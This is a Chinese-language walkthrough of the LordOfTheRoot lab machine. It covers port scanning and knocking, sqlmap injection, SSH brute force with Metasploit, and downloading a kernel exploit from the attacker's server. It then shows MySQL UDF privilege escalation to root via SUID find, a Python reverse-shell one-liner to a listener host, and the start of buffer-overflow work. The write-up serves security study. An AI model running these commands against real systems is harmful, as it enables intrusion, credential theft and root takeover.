namp 192.168.5.0/24 -sP 探测目标主机存活情况
namp 192.168.5.0/24 -O 识别操作系统
namp 192.168.5.153 -sS -sV -A -T4 -p-
-p- 全端口扫描 1-65535 但是比较耗时间
-sS SYN扫描,只完成三次握手前两次,很少有系统记入日志,默认使用,需要root(admin)权限
-sV 探测端口号版本
-A 全面系统检查,使用脚本检测,扫描等
-T4 针对TCP端口进制动态扫描延迟重10ms
得到 22 端口 ssh 操作系统linux3.X|4.X
ssh [email protected]
发现提示 knock Easy as 1,2,3 意思是敲击三次,端口碰撞
端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制
端口碰撞要求知道端口碰撞的序列,否则爆破机会很小
Easy as 1,2,3 碰撞序列为1,2,3
apt install knockd
man knock
knock 192.168.5.153 1 2 3 -v
nmap 192.168.5.153 -sS -sV -A -T4 -p-
端口碰撞后开启的端口 只有碰撞的主机ip可以访问,其他未碰撞主机还是无法访问.发现开启了1337端口
robots.txt文件
抓个包sqlmap跑一下
sqlmap -o -u http://192.168.5.153:1337/978345210/index.php --forms --batch --dbs --fresh-querie
-------------
Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度
--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试
-------------
sqlmap -r s.txt --batch --current-db
sqlmap -r s.txt --batch -D Webapp --tables
若有用户名和密码字段的话,使用auxiliary/scanner/ssh/ssh_login模块.若不知道,使用auxiliary/scanner/shh/ssh_enumusers模块先探测用户名是否存在
https://blog.csdn.net/huweiliyi/article/details/105590291
msfconsole
search ssh_login
use 0
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OvNTKG1n-1665283160098)(C:/Users/14980/AppData/Roaming/Typora/typora-user-images/image-20220421143536165.png)]
show options
set rhost 192.168.5.153
set user_file users.txt
set pass_file passwd.txt
exploit
sessions -i
sessions 3
id
ssh登录
ssh [email protected]
MyPreciousR00t
id
uname -a 查看主机操作系统 内核信息
hostnamectl
smeagol@LordOfTheRoot:~$ id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
smeagol@LordOfTheRoot:~$ hostnamectl
Static hostname: LordOfTheRoot
Icon name: computer-vm
Chassis: vm
Boot ID: 5bd2fb73a2ea4cd4b96b83a803062787
Operating System: Ubuntu 14.04.3 LTS
Kernel: Linux 3.19.0-25-generic
Architecture: i686
https://www.exploit-db.com/exploits/39166
使用exploit
background 返回msf
y
searchsploit 39166 在kali本地exploit库搜索
locate linux/local/39166.c 查看位置
cp /usr/share/exploitdb/exploits/linux/local/39166.c ./wanan 复制
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-le9YjJ2r-1665283160101)(C:/Users/14980/AppData/Roaming/Typora/typora-user-images/image-20220421150527324.png)]
python2 -m SimpleHTTPServer 8081 开启http服务
wget http://192.168.5.152:8081/39166.c 下载exp
gcc 39177.c -o 39166
条件
mysql版本,权限
dpkg -l | grep mysql 查看历史安装包版本
5.5.44
ps aux | grep mysql 查看mysql进程信息
root 权限
mysql 密码
cd /var/www/978345210/
ls
cat login.php
用户名 root
密码 darkshadow
mysql -u root -p
查看能否udf提权
show global variables like 'secure%';
可以提权
show variables like 'plugin%';
查看能否远程登录
use mysql;
select user,host from user;
不能远程登录
MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。
BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob)
除了在存储的最大信息量上不同外,他们是等同的。
MySQL的四种BLOB类型:
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G
可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
或者udf exploit提佛那个的函数执行系统命令
do_system
本次使用lib_mysqludf_sys
locate lib_mysqludf_sys 查看lib_mysqludf_sys位置
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so ./
mv lib_mysqludf_sys_32.so udf.so 重命名
du udf.so 看大小
python2 -m SimpleHTTPServer 8081 起服务
cd /tmp
wget http://192.168.5.152:8081/udf.so 下载到/tmp目录下
mysql -u root -p
create table udf (line blob); 创建,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so')); 在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; #
将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改
create function sys_eval returns string soname 'udf.so'; 创建自定义函数
select * from mysql.func; 查看函数
select sys_eval('chmod u+s /usr/bin/find');
调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
exit
find / -exec '/bin/sh' \; 执行提权
/ !此时是没有框架的 要是想反弹shell 需要有框架
// python -c "import pty;pty.spawn(\"/bin/bash\")" 获得框架
// 现在主机用 nc 监听端口有 nc -lvp port
// 在使用反弹shell命令进行反弹
// python 反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("监听主机ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
cd /root
ls
cat Flag.txt
https://blog.csdn.net/WHHLS/article/details/123860109
标准函数
stycpy() strcat() sprintf() vsprintf() gets() scanf()
ALSR
SECRET文件夹目录 是缓冲区溢出的一个标志目录
find / -name SECRET 2>/dev/null 其中2>/dev/null 忽略警告值
在该目录下发现三个子目录每一个子目录有一个file文件
有的缓冲区会设置ALSRJ机制 即随机化
0 = 关闭
1 = 半随机 共享库 栈 mmap() 以及VDSO 将被随机化
2 = 全随机
cat /proc/sys/kernel/randomize_va_space 查看
2 全随机
根据文件夹大小来判断 两个为7.2k 一个为5.1k 5.1k是主要文件 由于会随机变化 将目录用base64编码 在转码保存到攻击机
vim base64.txt
gedit base64.txt
cat base64.txt | base64 -d > file
chmod u+x file 给文件执行权
使用python命令快速模糊判断多少个字符会导致程序崩溃.python有-c参数,允许代码直接从shell执行
./file $(python2 -c 'print "A" * 100')
GDB-peda
GDB进行分析
apt install gdb
git clone https://github.com/longld/peda.git
echo "source ~/wanan/peda/peda.py" >> ~/.gdbinit 想要用某一个插件的时候,只要输入对应命令就行!
gdb file gdb分析file文件
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 当我们不确定界址时 可以生成乱码进行填充